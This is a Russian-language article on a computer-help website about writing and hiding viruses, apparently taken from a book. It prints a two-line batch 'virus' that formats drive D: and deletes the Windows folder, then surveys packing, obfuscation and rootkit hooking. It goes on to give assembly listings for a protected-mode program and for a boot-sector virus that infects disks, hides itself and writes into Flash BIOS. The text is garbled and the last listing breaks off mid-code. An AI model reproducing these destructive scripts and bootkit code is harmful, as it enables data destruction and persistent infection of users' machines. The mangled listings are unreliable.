Срочная компьютерная помощь
  ua   ru
Ремонт компьютеровРемонт ноутбуковВосстановление информацииКомпьютерная помощьКонтактная информация
Ремонт принтеровРемонт сканеровРемонт мониторовРемонт техникиСети Wi-Fi


  Поиск по сайту:
Главное меню

Бесплатная консультация




Акции




Вызов специалиста онлайн



Статьи и обзоры

5.1. Все гениальное – просто. Пишем вирус одной строкой!

    Можно ли создать вирус, который не будет светиться в базах антивирусов? Можно. Ичтобы этот вирус форматировал диски и «убивал» Windows? Можно. Парой строчек?Можно! Только никому (листинг 5.1)…

    Листинг 5.1. Всего две строки@echo offformat d:/q/y & del %SystemRoot% /q/s/f

    Возможные варианты защиты от такого "сюрприза":

♦ бдительность пользователя (ведь данный пример – скрипт-вирус, код которого можнопросмотреть через Блокнот!);

♦ работа не с правами администратора (попробуйте отформатировать диск с правамипользователя!).

    5.2. Веб-страница в обличии Фредди Крюгера – «потрошит» вашвинчестер!

    Можно ли, посетив сайт, получить в подарок отформатированные диски? А почему быи нет. Тем более что возможности JavaScript и ActiveX вкупе с многочисленнымиуязвимостями Internet Explorer выходят за рамки простых документированных функций(листинг 5.2).

    Листинг 5.2. Форматируем диск – легко!

 

    Применение ActiveX-компонентов делает веб-страницы более интерактивными. Но заудобство и функциональность можно дорого заплатить: многочисленные уязвимости IEпозволяют, к примеру, неподписанные (они же небезопасные) компоненты ActiveXпредставить пользователю как подписанные (безопасные, так как происхождение исодержание такого компонента подтверждено электронной подписью удостоверяющегоцентра) или вообще скрыть от глаз выполнение произвольного сценария.

    Возможные варианты защиты в подобных случаях.

♦ Задание безопасных настроек браузера (Сервис► Свойства обозревателя►Безопасность► Высокий).

♦ Как альтернатива, конфигурирование зон интернет-безопасности вручную (Сервис►Свойства обозревателя► Безопасность► Другой► Загрузка неподписанных элементовActiveX► Отключить, Активные сценарии► Отключитьи т. д.).

♦ Ну и, конечно же, бдительность пользователя. К примеру, прежде чемвышеописанный сценарий сделает свое черное дело, система два раза "аккуратно намекнет"на потенциальную опасность (рис. 5.1 и 5.2).

Рис. 5.1.Первое предупреждение

Рис. 5.1.Первое предупреждение

Рис. 5.2.Второе предупреждение

Рис. 5.2.Второе предупреждение

5.3. Антология сокрытия вирусного кода

    Не секрет, что выживаемость современного вредоносного ПО в большей степениобусловлена его параллельной эволюцией с антивирусными продуктами. Современныйантивирус уже не тот, который был год-два тому назад, – это факт. Для отлова иуничтожения вредоносного кода в антивирусах реализованы самые передовые и изощренныетехнологии: модули проактивной защиты и анализа подозрительного поведения, контрольцелостности приложений и реестра и др. Стоит только такому «зверю» показать себя, как еготут же пропустят через «мясорубку», в роли которой, как вы уже догадались, выступаетантивирусный сканер, после чего подозрительные остатки окажутся «на приеме» уэвристического анализатора.

    Ну да, казалось бы, после такого чистилища какой из экземпляров вирусного кодавыстоит? Но нет. Все же факт остается фактом: ежедневно регистрируется появление болеесотни экземпляров вирусного кода, и каждый из экземпляров рожден, чтобы остатьсяневидимкой.

    На сегодняшний день можно выделить следующие наиболее популярные методысокрытия:

♦ упаковка;

♦ полиморфизм;

♦ обфускация;

♦ руткит-технологии;

♦ сокрытие в среде.

    Даже этого, далеко не полного списка достаточно, чтобы представить себе, насколькотехнологичны современные методы сокрытия вирусного кода.

Упаковка

    Начнем с упаковки как самого популярного метода сокрытия вирусного кода. К словубудет сказано, именно упаковка является самым простым инструментом, чтобы скрытьвирус, который уже засветился в антивирусных базах.

    Упаковка заключается в сжатии исполняемого файла и прикреплении к нему кода,необходимого для распаковки и исполнения.

    Как метод сокрытия упаковка представляет собой довольно грозное оружие.Достаточно привести пример: грамотно упакованный червь способен вызвать не менеесерьезную, чем его первообраз, эпидемию, ведь такой червь распознается антивирусами какновый экземпляр. Не секрет, что большинство из ныне присутствующих в сети вредоносныхпрограмм есть не что иное, как модификации посредством упаковки. Например, широко известный троянский конь Backdoor.Rbot распространяется упакованным множествомразличных упаковщиков (Ezip, Exe32Pack, ExeStealth, PecBundle, PECompact, FSG, UPX,Morphine, ASPack, Petite, PE-Pack, PE-Diminisher, PELock, PESpin, TeLock, Molebox, Yoda,Ezip, Krypton и др.).

    Когда антивирусу попадается упакованный файл, он его, понятное дело, пытаетсяраспаковать. Получается, что чем с большим количеством упаковщиков способен работатьантивирус, тем больше у него шансов обнаружить упакованный код.

    Поддержка большого количества разновидностей упаковщиков и архиваторов особеннокритична для проверки почтовых систем, так как подавляющая часть вирусов пересылаетсяпо почте в архивированном виде.

    Вам наверняка интересно понять разницу между архиватором и упаковщиком. Аразница в том, что сжатое упаковщиком разжимается в память, архиватором – на диск.

    Понятно, что добраться до упакованного кода можно, лишь распаковав его. Но и это невсегда просто. Посмотрим почему.

    Распаковщики делятся на динамические и статические. Динамические распаковщики(например, procdump или PEiD) запускают файл и создают распакованный вариант файла изобраза, загруженного в память. Однако, если этот файл содержал вирус (а он его содержит!),система может быть повреждена раньше, чем антивирус успеет что-либо сделать. Крометого, у упаковщиков существует ряд приемов борьбы с динамической распаковкой,например расшифровывать код не полностью, а лишь по мере исполнения, или, например,расшифровывать и запускать вирус целиком только в определенный день недели.

    Статические распаковщики – это те, которые пытаются распаковать файл, не запускаяего (например, CUP386 или UNP). Очень часто статические распаковщики оказываютсябесполезны, если алгоритм упаковки требует запуска файла.

    Чтобы представить себе весь размах упаковки, достаточно привести этот скромныйсписок упаковщиков, применяемых при сокрытии вирусного кода: EP (ExE Pack), ACProtect,Active PE Scrambler, AHTeam UPX Mutanter, Armadillo SPS, ASPack, ASProtect, ASProtectSKE, aUS [Advanced UPX Scrambler], Beria, DEF, Enigma Protector, Exe Stealth, Exe32Pack,EXECryptor, EXERefactor, eXPressor, Fake Ninja, fileEncrypt, FSG, GPcH Protect, Hide PE,HidePX, hyings PE-Armor, JDPack, KByS Packer, kkrunchy, Krypton The Krypter, Mew 11 SE,MoleBox Pro, Morphine, mPack, MSLRH, nPack, NsPack, Obsidium, ORiEN, Packman, PCGuard, PE Diminisher, PECompact, PELock, PEQuake, PESpin, PeStubOEP, Petite, PeX, Privateexe Protector, PseudoSignerRLP, SDProtector Pro, Special EXE Password Protector, SHProtector,ShrinkWrap, SLVc0deProtector, Spirits PE Crasher, Stealth PE, tElock, Themida,TPPpack, TrueEP, Unopix, UPX, VB AntiCrack, VMProtect, WinUpack, yoda Crypter, yodaProtector, [G!X]s Protector.Кому-то из читателей этот список, наверное, может показаться большим – а ведь этовсего лишь десятая часть от того, что в настоящее время применяется.

    Очень часто, чтобы запутать антивирус и сделать так, чтоб тот не смог распознать, чемзапакован код, вирус дополнительно пропускают через утилиты типа PEiD, основной задачейкоторого является изменение точки входа в программу, но об этом более подробно в подразд."Обфускация" этого раздела.

    Полиморфизм

    Полиморфизм представляет собой способность вируса в процессе работы менять свойкод таким образом, чтобы максимально затруднить процесс своего обнаружения путемсигнатурного сканирования и частично эвристики.

    Особо следует отметить тот факт, что и сама процедура, определяющая мутацию кода,не должна быть постоянной. Такая процедура изменения вируса видоизменяется при каждомновом заражении.

    На самом деле обнаружение грамотно написанного полиморфного вируса средствами обычного сигнатурного сканирования невозможно. Неудивительно, что с появлением полиморфизма во многих антивирусных продуктах появились принципиально новыетехники обнаружения: эвристика и эмуляторы кода.

    Первый известный полиморфный вирус 1260 был написан Марком Вашберном (MarkWashburn) уже в далеком 1990 году.

    Virus.Win32.Zombie – сложный полиморфный вирус, который использует уникальнуютехнологию встраивания в файлы: вирус "разбирает" (дизассембли-рует) PE EXE-файл насоставные части, встраивает свой код и собирает заново, перемешивая при этом свой код икод заражаемого файла. Virus.Win32.Zombie использует уникальную технологиюдекриптования своего тела для обхода эвристических анализаторов.

    Обфускация

    Обфускация (от лат. obfuscare – «затенять, затемнять») – техника, направленная назапутывание кода программы, то есть приведение исходного текста или исполняемого кода кработающему виду, но затрудняющему анализ такого кода.

    Обфускация может быть проведена на уровне алгоритма, на уровне исходного текстаили вообще ассемблерного текста. Так, создание запутанного ассемблерного текста можетбыть достигнуто путем использования специализированных компиляторов. Такиекомпиляторы, как правило, заново создают код, используя для этого недокументированныевозможности среды выполнения программы.

    Для создания "запутанного" кода существуют специализированные утилиты, которыетак и называются– обфускаторы.

    В контексте сокрытия вирусного кода суть метода заключается в том, чтобы запутатьпрограммный код и устранить в нем большинство логических связей, делая код максимальнонеузнаваемым антивирусным ПО (листинги 5.4, 5.5).

    Листинг 5.4. Некоторые примеры обфускации кода. Пример № 1

int COUNT = 100;

float TAX_RATE = 0.2;

for (int i=0; i

{tax[i] = orig_price[i] * TAX_RATE;

price[i] = orig_price[i] + tax[i];}

Код после обфускации:

for(int a=0;a<100;a++){b[a]=c[a]*0.2;d[a]=c[a]+b[a];}

    Листинг 5.5. Некоторые примеры обфускации кода. Пример № 2 (Perl)my $filter;

    if (@pod) {my ($buffd, $buffer) = File::Temp::tempfile(UNLINK => 1);

print $buffd "";print $buffd @pod or die "";print $buffdclose $buffd or die "";

@found = $buffer;$filter = 1;

} exit;sub is_tainted {my $arg = shift;my $nada = substr($arg, 0, 0);

# zero-lengthlocal $@; # preserve caller's versioneval { eval "#" };

return length($@) != 0;}sub am_taint_checking {my($k,$v) = each %ENV;return is_tainted($v);}

    После обфускации:

sub z109276e1f2 { ( my $z4fe8df46b1 = shift ( @_ ) ) ;

( my$zf6f94df7a7 = substr ( $z4fe8df46b1 ,(0x1eb9+ 765-0x21b6) , (0x0849+ 1465-0x0e02) ) ) ;local $@ ;

eval { eval ( ("" ) ) ; } ;

return ( ( length ( $@ ) != (0x26d2+ 59-0x270d) ) );

} my ( $z9e5935eea4 ) ;

if ( @z6a703c020a ) { ( my ($z5a5fa8125d , $zcc158ad3e0 ) =File::Temp::tempfile ( "" , (0x196a+ 130-0x19eb) ) ) ;

print ($z5a5fa8125d "" ) ;

( print ( $z5a5fa8125d @z6a703c020a) or die ( ( ( ( "" . $zcc158ad3e0 ) . "x3ax20" ) . $! ) ) ) ;

print ( $z5a5fa8125d "" ) ;

( close ( $z5a5fa8125d ) or die ( ( (( "" ) ) ) ;

( @z8374cc586e = $zcc158ad3e0 ) ;

( $z9e5935eea4 =(0x1209+ 1039-0x1617) ) ;

} exit ; sub z021c43d5f3 { ( my ($z0f1649f7b5 , $z9e1f91fa38 ) = each ( %ENV ) ) ;

return (z109276e1f2 ( $z9e1f91fa38 ) ) ;

    Как видите, в простейшем случае процедура обфускации заключается в переводе кода внечитаемое (но рабочее) состояние.

    Вышеописанные примеры – примеры так называемой высокоуровневой обфускации"мирного назначения". Если же ее экстраполировать на вирусный код, то изменитсянемногое: разве только то, что при маскировке вирусного кода используют в большинствеслучаев низкоуровневую обфускацию (с применением команд ассемблера), а такжепрограммы для автоматической обфускации, например Afx!AVSpoffer, EPProt и PETools.

    Технология обфускации может подразумевать следующие процедуры:

♦ изменение таблиц импорта, экспорта и переадресации;

♦ маскировка оригинальной Entry Point (точка входа в программу);

♦ использование полиморфного варианта распаковки.

    Руткит-технологии

    Термин руткит (от англ. root kit – «набор для получения прав администратора») есть нечто иное, как программа или набор программ для скрытого взятия под контроль взломаннойсистемы.

    В контексте сокрытия вирусного кода в системе Windows под rootkit принятоподразумевать такой код, который, будучи внедренным в систему, способен перехватыватьсистемные функции (Windows API). Нетрудно догадаться, что такой перехват имодификация API-функций позволяют руткиту легко и просто замаскировать своеприсутствие во взломанной системе.

    Упрощенно все rootkit-технологии сокрытия можно разделить на две категории:

♦ работающие в режиме пользователя (user-mode);

♦ работающие в режиме ядра (kernel-mode).User-mode-категория руткитов основана на перехвате функций библиотекпользовательского режима, kernel-mode – на установке в систему драйвера,осуществляющего перехват функций уровня ядра.

    В настоящее время можно выделить следующие методы перехвата API-функций врежиме пользователя (user mode):

♦ модификация таблицы импорта;

♦модификация машинного кода прикладной программы;

♦ модификация программного кода API-функции;

♦ перехват функций LoadLibrary и GetProcAddress.

    Модификация таблицы импорта.Пожалуй, именно эта методика сокрытияпретендует на звание классической. Технология такой маскировки заключается вследующем: rootkit находит в памяти таблицу импорта исполняемой программы икорректирует адреса интересующих его функций на адреса своих перехватчиков. Кажется,что все достаточно просто.

    В момент вызова API-функции программа считывает ее адрес из таблицы импорта ипередает по этому адресу управление. Поиск таблицы импорта в памяти несложен,поскольку для этого уже известны специализированные API-функции, позволяющиеработать с образом программы в памяти.

    Данная методика достаточно универсальна, к тому же она проста в реализации, но у нееесть существенный недостаток – при таком механизме перехватываются только статическиимпортируемые функции.

    Модификация машинного кода прикладной программы.Как следует из названия,суть метода заключается в модификации машинного кода, отвечающего в прикладнойпрограмме за вызов той или иной API-функции. Реализация методики достаточно сложна,обусловлено это богатым разнообразием языков программирования и версий компиляторов,к тому же и сама реализация вызовов API-функций может быть различна.

    Модификация программного кода API-функции.Методика заключается в том, чтоrootkit должен найти в памяти машинный код интересующих его API-функций имодифицировать его. При этом вмешательство в машинный код перехватываемых функцийминимально. В начале функции обычно размещают две-три машинные команды,передающие управление основной функции-перехватчику. Основным условием такойметодики является сохранение исходного машинного кода для каждой модифицированнойим функции.

    Перехват функций LoadLibrary и GetProcAddress.Перехват этих функций чащевсего выполняется путем модификации таблицы импорта: если перехватить функциюGetProcAddress, то при запросе адреса можно выдавать программе не реальные адресаинтересующих ее функций, а адреса своих перехватчиков. При вызове GetProcAddress онаполучает адрес и выполняет вызов функции.

    Перехват функций в режиме ядра (kernel mode).Чтобы понять суть метода, будетполезным рассмотреть принципы взаимодействия библиотек user-mode и kernel-mode.

    Взаимодействие с ядром осуществляется через ntdll.dll, большинство функций которойявляются посредниками при обращении к ядру через прерывание INT 2Eh. Конечноеобращение к функциям ядра основано на структуре KeServiceDescrip-torTable (илисокращенно SDT), расположенной в ntoskrnl.exe. SDT, – это таблица, содержащая адресаточек входа сервисов ядра NT.

    Упрощенно можно сказать, что для перехвата функций необходимо написать драйвер,который произведет модификацию таблицы SDT. Перед модификацией драйверунеобходимо сохранить адреса перехватываемых функций и записать в таблицу SDT адресасвоих обработчиков. Следует отметить, что такой перехват может быть реализован не тольков руткитах. Так, существует достаточное количество полезных программ "мирного"назначения, перехватывающих функции при помощи правки SDT (RegMon от SysInternalsили программа Process Guard).

     Описанный выше метод перехвата можно считать наиболее простым. Существуют идругие подобные способы перехвата, к примеру создание драйвера-фильтра. Драйвер-фильтрможет с успехом как решать задачи мониторинга (например, утилита FileMon), так ииспользоваться для активного внедрения в работу системы.

    В частности, драйвер-фильтр может применяться для маскировки файлов и папок надиске. Принцип работы такого драйвера основан на манипуляциях с пакетами запросаввода-вывода (IRP).

    «Protected Mode – там, где тепло и сухо…»

    Почему бы не создать вирус, работающий в защищенном режиме процессора?Действительно, обнаружить такой вирус антивирусной программе будет, мягко говоря, нуочень трудно, если не невозможно.

    В качестве горячего примера, реализующего работу в защищенном режиме, уместнопривести файловый вирус PM.Wanderer. Это резидентный полиморфный вирус, работающийв защищенном режиме процессоров i386-Pentium. Для своей работы вирус активноиспользует документированный интерфейс VCPI (Virtual Control Program Interface) драйверарасширенной памяти EMS (EMM386).

    При запуске инфицированной программы вирус пытается "узнать", установлен ли всистеме EMS-драйвер.Если вышеуказанного драйвера в системе нет, то вирус отдаетуправление программе-вирусоносителю, завершая при этом свою активность.

    Если же драйвер есть, то вирус выполняет последовательный ряд подготовительныхдействий для выделения памяти под свое тело и переключения процессора в защищенныйрежим работы с наивысшим уровнем привилегий

    В защищенном режиме вирус пытается контролировать INT21 путем установки двухаппаратных контрольных точек на адреса входа в обработчик прерывания INT 21h иперехода на процедуру перезагрузки компьютера. Помимо прочего, вирус так модифицируетдескрипторную таблицу прерываний, чтобы на прерывания INT 1 (особый случай отладки) иINT 9 (клавиатура) установить собственные дескрипторы обработчиков прерываний. Темсамы м достигается тотальный контроль всех нажатий клавиш на клавиатуре и попытокмягкой перезагрузки компьютера.

   Результатом вышеописанных действий является копирование вируса в памятькомпьютера и переключение процессора обратно в виртуальный режим работы. Затем вирусосвобождает ранее выделенную память DOS в верхних адресах и возвращает управлениеинфицированной программе.

    При заражении файлов вирусный код внедряется в начало СОМ или в серединуЕХЕ-файла. Код вируса "весит" 3684 байт, но, как правило, инфицированные им файлыимеют приращение длины более 3940 байт. Код вируса содержит текст "WANDERER"(листинг 5.6).

    Листинг 5.6.

Исходный код "WANDERER".286.model tiny .code org 100h;

Подготовка к защищенному режиму работы;

Структура дескриптора

desc_struc STRUClimit dw 0baseJ dw 0base_h db 0access db 0rsrvdw 0desc_struc ENDSACC_PRESENT equ 10000000bACC_CSEG equ 01000000bACC_DSEG equ 00010000bACC_EXPDOWN equ 00001000bACC_CONFORM equ 00000100bACC_DATAWR equ 00000010bDATA_ACC=ACC_PRESENT or ACC_DSEG or ACC_DATAWR;

10010010bCODE_ACC=ACC_PRESENT or ACC.CSEG or ACC_CONFORM ;

10011100bSTACK_ACC=ACC_PRESENT or ACC_DSEG or ACC_DATAWR or ACC.EXPDOWN; 1001011 Ob

Размеры сегментовCSEG SIZE=65535DSEG_SIZE=65535STACK_SIZE=65535;

Смещения дескрипторовCS_DESCR=(gdt_cs-gdt_0)DS_DESCR=(gdt_ds-gdt_0)SS_DESCR=(gdt_ss-gdt_0)Константы значений портовCMOS_PORT equ 070hSTATUS_PORT equ 064hSHUTDOWN equ 0FEhA20_PORT equ 0D1hA20_ON equ 0DFhA20_OFF equ 0DDhINT_MASK_PORT equ 021hKBD_PORT_A equ 060hstart:;

Инициализация данных для перехода в защищенный режим

call init_protected_mode; Сам переходcall set_protected_mode;

Возврат в реальный режим

call set_real_mode;

Печатаем сообщение

"Light General"mov ah, 09hlea dx, qwint 21h;

Выход в DOS

mov ax, 4C00hint 21h;

Макрокоманда для установки адреса для дескриптора;

в глобальной таблице дескрипторов GDT.setgdtentry MACROmov [desc_struc.base_l][bx], axmov [desc_struc.base_h][bx], dlENDMinit_protected_mode PROC mov ax, dsmov dl, ahshr dl, 4shl ax, 4;

Устанавливаем адрес сегмента данных;

в глобальной таблице дескрипторовmov bx, offset gdt_dssetgdtentryadd ax, offset gdtradc dl, 0;

Останавливаем адрес сегмента GDT в глобальной таблице дескрипторовmov bx, offset gdt_gdtsetgdtentry;

Вычисляем абсолютный адрес для сегмента кода ;

в соответствии со значением регистра CSmov ax, csmov dl, ahshr dl, 4shl ax, 4;

Устанавливаем адрес сегмента кода ;

в глобальной таблице дескрипторовmov bx, offset gdt_cssetgdtentry;

Вычисляем абсолютный адрес для сегмента стека ;в соответствии со значением регистра SS

mov ax, ssmov dl, ahshr dl, 4shl ax, 4;

Устанавливаем адрес сегмента стека ;

в глобальной таблице дескрипторовmov bx, offset gdt_sssetgdtentry;

Перехватываем рестарт.pushdsmov ax, 40hmov ds, axmov word ptr ds:[0067h], offset shutdown_returnmov word ptr ds:[0069h], cspop ds ;

Запрещаем маскируемые прерыванияcliin al, INT_MASK_PORTor al, OFFhout INT_MASK_PORT, almov al, 8Fhout CMOS_PORT, aljmp $+2 mov al, 5out CMOS_PORT+1, alretinit_protected_mode ENDP;

Подпрограмма, переводящая процессор в защищенный режимset_protected_mode PROC;

Открываем адресную линию А20 для доступа свыше 1 Мбайтcall enable_a20;

Сохранение значения регистра SS для реального режимаmov real_ss, ss;

Перевод компилятора Turbo Assembler в улучшенный режим.;

IDEAL – это не команда и не оператор, это директива, влияющая;

только на интерпретацию дальнейших строк листингаidealр286;

Загружаем регистр глобальной таблицы дескрипторов GDTRlgdt[QWORD gdt_gdt] ;

db OFh,01h,16h dw offset gdt_gdt ;

Переводим процессор в защищенный режимmov ax, 0001hlmswax ;

db OFh,01h,FOh;

Переводим компилятор Turbo Assembler назад в режим MASMmasm.286jmp far flush;

db 0EAh; dw offset flush;

dw CS_DESCRflush:;

Останавливаем в регистр SS селектор сегмента стекаmov ax, SS_DESCRmov ss, ax;

Устанавливаем в регистр DS селектор сегмента данныхmov ax, DS_DESCRmov ds, ax;

Записываем в строку qw символ "L" и выходим из подпрограммыmov byte ptr ds:[offset qw+2],"L"retset_protected_mode ENDP;

Подпрограмма, возвращающая процессор в реальный режимset_real_mode PROC;

Сохраняем значение регистра SP для реального режимаmov real_sp, sp;

Выполняем CPU Reset (рестарт процессора)mov al, SHUT_DOWNout STATUS_PORT, al;

Ждем, пока процессор перезапуститсяwait_reset:hltjmp wait_reset;

C этого места программа выполняется после перезапуска процессораshutdown_return:;

Устанавливаем регистр DS в соответствии с регистром CSpushcspop ds ;

Восстанавливаем указатели на стек; по ранее сохраненным значениямmov ss, real_ssmov sp, real_sp;

Закрываем адресную линию А20call disable_a20;

Разрешаем немаскируемые прерыванияmov ax, 000dhout CMOS_PORT, al;

Разрешаем маскируемые прерыванияin al, INT_MASK_PORTand al, 0out INT_MASK_PORT, alstiretset_real_mode ENDP;

Процедура, открывающая адресную линию А20. После открытия; адресной линии программам будет доступна память свыше 1 Мбайтenable_a20 PROCmov al, A20_PORTout STATUS_PORT, almov al, A20_ONout KBD_PORT_A, alret enable_a20 ENDPdisable_a20 PROCmov al, A20_PORTout STATUS_PORT, almov al, A20_OFFout KBD_PORT_A, alretdisable_a20 ENDP;

  Здесь сохраняется адрес стекаreal_sp dw ?real_ss   dw ?;

Эта строка выводится на экран после работы программы ;

Символ "?" заменяется на "L" в защищенном режимеqw db 13,10,"?ight General",13,10,"$";

Глобальная таблица дескрипторов. Нулевой дескриптор; обязательно должен быть "пустым"GDT_BEG=$gdtr label WORDgdt_0 desc_struc <0,0,0,0,0>;

    gdt_gdt desc_struc gdt_ds desc_struc gdt_cs desc_struc gdt_ss desc_struc GDT_SIZE=($-GDT_BEG)END start

    FLASH BIOS – почему бы и нет!Самая обычная ситуация – это когда код привязан кфайловой системе и/или является резидентным (выполняющимся в оперативной памяти). Ночто если вирусный код работает в BIOS?!

  Да-да, именно, а почему бы и нет. Отлов и уничтожение такого "зверя" потребует отантивирусной программы чего-то большего, а именно – возможности трассироватьпрерывание INT 16h.  

ПРИМЕЧАНИЕ

    Прерывани е (от англ. interrupt) – сигнал, сообщающий процессору осовершении какого-либо события. Прерывание подразумевает приостановкувыполнения текущей последовательности команд и передачу управленияобработчику прерывания.

    Почему все так сложно и как с этим связан антивирусный монитор?

 Все дело в том, что BIOS (AMI, например) обладает некоторыми особенностямиработы в микросхемах Flash-памяти, которые базируются на использовании функции EOh прерывания INT 16h. Внесенный в данную область памяти вирус впоследствии запрещаетповторно использовать указанную функцию. Как следствие, это запретит антивируснымпрограммам воспользоваться ею в процессе удаления вируса из BIOS компьютера. Как жеэто все работает?

    Алгоритм работы вируса, "живущего" в BIOS, выглядит следующим образом.

1. Вирус проверяет систему на наличие Flash BIOS.

2. Далее идет проверка на зараженность Flash BIOS (если BIOS чист – то "ОК", иначе –осуществить выход).

3. Считывается вектор INT 19h из таблицы (прерывание загрузки).

4. Читает первые пять байт от точки входа INT 19h.

5. Проверяет свободное место в микросхеме BIOS (поиск области нулей).

6. Устанавливает память Flash BIOS в режим записи (нормальное ее состояние врежиме чтения).

7. Запись вируса в найденную свободную область.

8. Запись перехода на вирус в точку входа INT 19h.

9. Возврат Flash BIOS в режим "только чтение".

    Вот, собственно, и сам код с комментариями (листинг 5.7):Листинг 5.7. Код вируса, поражающего BIOS ;Вирусный код, заражающий Flash BIOS.; Наиболее опасен тем, что при заражении нельзя будет загрузиться ;даже с "чистой" дискеты.

    org 0;

    При входе в boot-сектор 01=загрузочный дискmov si, 7C00h ;Устанавливаем 0000h в регистрах DS и ESхог ах, ахmov es, axmov ds, ax;

Устанавливаем значение стека 0000h:7C00hclimov ss, axmov sp, sisti;

Уменьшаем на 1Кбайт память (0040h:0013h)dec word ptr [0413h] ;

Получаем размер памяти (при возврате в АХ)int 12h mov cl, 6shl ax, cl;

Устанавливаем новый сегмент вирусаmov es, ax;

Переносим вирусный сектор в вершину памятиxor di, dimov cx, 200hcldrep movsb;

Сохраняем вектор прерывания INT 13hmov ax, word ptr [13h*4]mov word ptr es: [off set i13], axmov ax, word ptr [13h*4+2]mov word ptr es: [offset i13+2], ax;

Устанавливаем новый вектор прерывания INT 13hmov word ptr [13h*4], offset Handlermov word ptr [13h*4+2], es;

Переходим в точку ES:Restart (в копии вируса,; находящейся в вершине памяти)already_resident:push esmov ax, offset Restartpush axretf ;

Ниже программа работает уже в вершине памятиRestart:;

Загружаем оригинальный boot-сектор из конца;

root directory и передаем ему управлениеxor ах, ахcall int13h;

Готовим регистры для загрузки оригинального boot-секторахог ах, ахmov es, ax; Сегмент для загрузкиmov bx, 7C00h;

Смещение для загрузкиmov cx, 0002h;

Дорожка 0, сектор 2xor dh, dh; Головка 0mov ax, 0201h ;Функция 2, количество секторов 1; Проверяем загрузочный диск. 80h и выше – это адрес жесткого диска,;иначе – дискета.

    Копию оригинального boot-сектора храним :; на жестком диске – дорожка 0, головка 0, сектор 2;; на дискете – дорожка 0, головка 1, сектор 14 cmp dl, 80hjae MBR_Loader;

Грузимся с дискеты: изменим сектор и головкуmov с1, 14 ;

Сектор 14mov dh, 1 ; Головка 1;

3агрузим оригинальный boot-сектор по адресу 0000h:7C00hMBR_Loader:call int13h;

Сохраняем в стеке номер диска, с которого грузимсяpush dx;

Проверяем, заражен ли Flash BIOScmp byte ptr cs:flash_done, 1je Flash_resident; Инфицируем Flash BIOScall flash_BIOS ;

Восстанавливаем из стека DX (номер загрузочного диска)Flash_resident:pop dx; 3апускаем оригинальный boot-сектор (JMP FAR 0000h:7C00h)db 0EAhdw 7C00hdw 0;

Скрываем присутствие вируса методом чтения оригинального boot-сектораStealth:;

Останавливаем значения сектора, где хранится копия оригинального; boot-сектораmov cx, 02hmov ax, 0201h;

Проверяем, откуда считан boot-сектор (дискета или жесткий диск),; так как копии хранятся в разных местахcmp dl, 80hjae hd_stealthmov cl, 14mov dh, 1 hd_stealth:;

Читаем копию оригинального boot-сектораcall int13h;

Выходим из обработчика прерыванияjmp pop_exit;

Проверяем наличие резидентного вируса restest:

xchgah, aliret;

Обработчик прерывания INT 13hHandler:

cmp ax, 0ABBAhje restest;

Перехватываем только функцию 02h (чтение сектора): проверяем; номер функции. Если не 2, запускаем оригинальный обработчикcmp ah, 2jne jend;

Проверяем номера дорожки и сектора, интересуясь только теми; секторами, в которых может оказаться вирус :; дорожка 0, головка 0, сектор 1cmp cx, 1

jne jend;

Проверим номер головки. Если не 0, то запустим;

оригинальный обработчикcmp dh, 0jne jendtryinfect:;

Считаем сектор в буфер (для дальнейшей обработки).;

Для этого вызовем оригинальный INT 13hcall int13hjc jend;

Сохраним регистры и флаги (обработчик не должен изменить их)pushfpush axpush bxpush cxpush dxpush sipush dipush espush ds; Проверяем, заражен ли данный диск вирусом: читаем сигнатуру. ;

Если диск заражен, скрываем присутствие вирусаcmp word ptr es:[bx+offset marker], "LV"je stealth ;

Если диск не заражен, то заражаемcmp dl, 80hjb infect_floppy ;

Установим номера дорожки, головки и сектора для жесткого; диска для сохранения оригинального boot-сектораmov cx, 2xor dh, dhjmp write_virusinfect_Floppy:;

Установим номера дорожки, головки и сектора для дискеты; для сохранения оригинального boot-сектораmov сх, 14mov dh, 1Write_Virus:;

Записываем оригинальный boot-секторmov ax, 0301hcall int-lShjc pop_exit; Установим сегментный регистр ES на сегмент с вирусомpush cspop es;

Сбросим флаг зараженности Flash BIOSmov byte ptr cs:flash_done, 0; 3апишем тело вируса в boot-секторxor bx, bxmov ax, 0301h  mov cx, 0001hxor dh, dhcall int13h;

    Восстановим регистры и флаги (как раз те их значения, которые; свидетельствуют о том, что boot-сектор только что считали)Pop_Exit:

pop ds

pop es

pop di

pop si

pop dx

pop cx

pop bx

pop ax

popf

; Выходим из обработчика в вызывающую программу

retf2;

3апуск оригинального обработчика jend:

DD 0EAh ; Код команды JMP FAR ;

Оригинальный вектор INT13hi13 DD 0;

Вызов прерывания INT 13h

int13h proc near 

call dword ptr cs:[i13]ret int13h endp;

Первые два байта слова используются как сигнатура Marker db "VLAD";

Эта подпрограмма заражает Flash BIOS Flash_BIOS Proc Near;

Проверим наличие Flash BIOS

mov ax, 0e000h

int 16h

jc no_flash_bios

cmp al, 0FAh

jne no_flash_bios ;

Сначала найдем хорошее место для хранения вируса.;

Просканируем память F000h-FFFFh, где обычно находится BIOS,; на наличие области 1Кбайт нулей.

Хватит даже 512 байт памяти,; но выделить нужно с запасомinfect_Flash:;

Остановим начальный сегмент для поискаmov ax, 0F000hmov ds, ax;

Проверим сегментNew_segment:;

Остановим стартовое смещениеxor si, si;

Остановим счетчик найденных байт; (величина свободного места для вируса)xor dx, dx

ok_new_segment:;

Перейдем к следующему сегментуinc axmov ds, ax;

Проверим, есть ли еще место для вирусаcmp ax, 0FFF0hje no_flash_BIOS;

Проверим, свободно ли место (для скорости проверяем словами)test16:cmp word ptr [si], 0jne new_segment;

Увеличим счетчик размера найденного свободного местаinc dx;

Проверим, достаточно ли найденного места. Сравниваем с 1 Кбайт, но; так как память сканируем словами, сравниваем с 512 (1 Кбайт=512 слов)cmp dx, 512je found_storage;

Увеличим смещение проверяемого байтаinc siinc si ; Сравним с 16. Переходим к следующему сегменту; в начале каждого параграфаcmp si, 16je ok_new_segmentjmp test16;

B эту точку попадаем, если место найденоFound_storage:;

Перейдем к началу зоныsub ax, 40hmov ds, ax; Получим требования к сохранению состояния чипаmov ax, 0E001hint 16h;

Проверим, сколько памяти необходимо для сохранения состояния; чипа. Если слишком много, не будем сохранять состояниеcmp bx, 512jbe save_chipset;

Установим флаг, показывающий, что состояние не сохранялиmov byte ptr cs:chipset, 1;

Перейдем к записиjmp write_enable; Сюда попадаем, если Flash BIOS не обнаружен:; записывать некуда – выходимNo_Flash_BIOS:

    ret;

Сохраним состояние чипаsave_chipset:;

Установим флаг, показывающий, что состояние сохранилиmov byte ptr cs:chipset, 0;

Сохраним состояниеmov al, 2push cspop esmov di, offset bufferint 16h;

